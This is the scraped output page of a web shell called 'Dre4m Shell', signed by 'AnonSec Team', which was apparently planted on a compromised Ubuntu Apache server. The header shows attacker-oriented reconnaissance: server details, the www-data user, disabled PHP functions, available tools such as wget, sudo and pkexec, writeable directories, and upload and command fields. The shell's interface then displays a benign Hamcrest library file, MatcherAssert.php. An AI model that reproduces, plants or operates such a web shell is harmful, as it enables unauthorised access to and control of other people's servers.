Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.191.74.140
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/MatcherAssert.php
<?php
namespace Hamcrest;

/*
 Copyright (c) 2009 hamcrest.org
 */

class MatcherAssert
{

    /**
     * Number of assertions performed.
     *
     * @var int
     */
    private static $_count = 0;

    /**
     * Make an assertion and throw {@link Hamcrest\AssertionError} if it fails.
     *
     * The first parameter may optionally be a string identifying the assertion
     * to be included in the failure message.
     *
     * If the third parameter is not a matcher it is passed to
     * {@link Hamcrest\Core\IsEqual#equalTo} to create one.
     *
     * Example:
     * <pre>
     * // With an identifier
     * assertThat("apple flavour", $apple->flavour(), equalTo("tasty"));
     * // Without an identifier
     * assertThat($apple->flavour(), equalTo("tasty"));
     * // Evaluating a boolean expression
     * assertThat("some error", $a > $b);
     * assertThat($a > $b);
     * </pre>
     */
    public static function assertThat(/* $args ... */)
    {
        $args = func_get_args();
        switch (count($args)) {
            case 1:
                self::$_count++;
                if (!$args[0]) {
                    throw new AssertionError();
                }
                break;

            case 2:
                self::$_count++;
                if ($args[1] instanceof Matcher) {
                    self::doAssert('', $args[0], $args[1]);
                } elseif (!$args[1]) {
                    throw new AssertionError($args[0]);
                }
                break;

            case 3:
                self::$_count++;
                self::doAssert(
                    $args[0],
                    $args[1],
                    Util::wrapValueWithIsEqual($args[2])
                );
                break;

            default:
                throw new \InvalidArgumentException('assertThat() requires one to three arguments');
        }
    }

    /**
     * Returns the number of assertions performed.
     *
     * @return int
     */
    public static function getCount()
    {
        return self::$_count;
    }

    /**
     * Resets the number of assertions performed to zero.
     */
    public static function resetCount()
    {
        self::$_count = 0;
    }

    /**
     * Performs the actual assertion logic.
     *
     * If <code>$matcher</code> doesn't match <code>$actual</code>,
     * throws a {@link Hamcrest\AssertionError} with a description
     * of the failure along with the optional <code>$identifier</code>.
     *
     * @param string $identifier added to the message upon failure
     * @param mixed $actual value to compare against <code>$matcher</code>
     * @param \Hamcrest\Matcher $matcher applied to <code>$actual</code>
     * @throws AssertionError
     */
    private static function doAssert($identifier, $actual, Matcher $matcher)
    {
        if (!$matcher->matches($actual)) {
            $description = new StringDescription();
            if (!empty($identifier)) {
                $description->appendText($identifier . PHP_EOL);
            }
            $description->appendText('Expected: ')
                                    ->appendDescriptionOf($matcher)
                                    ->appendText(PHP_EOL . '     but: ');

            $matcher->describeMismatch($actual, $description);

            throw new AssertionError((string) $description);
        }
    }
}

Anon7 - 2022
AnonSec Team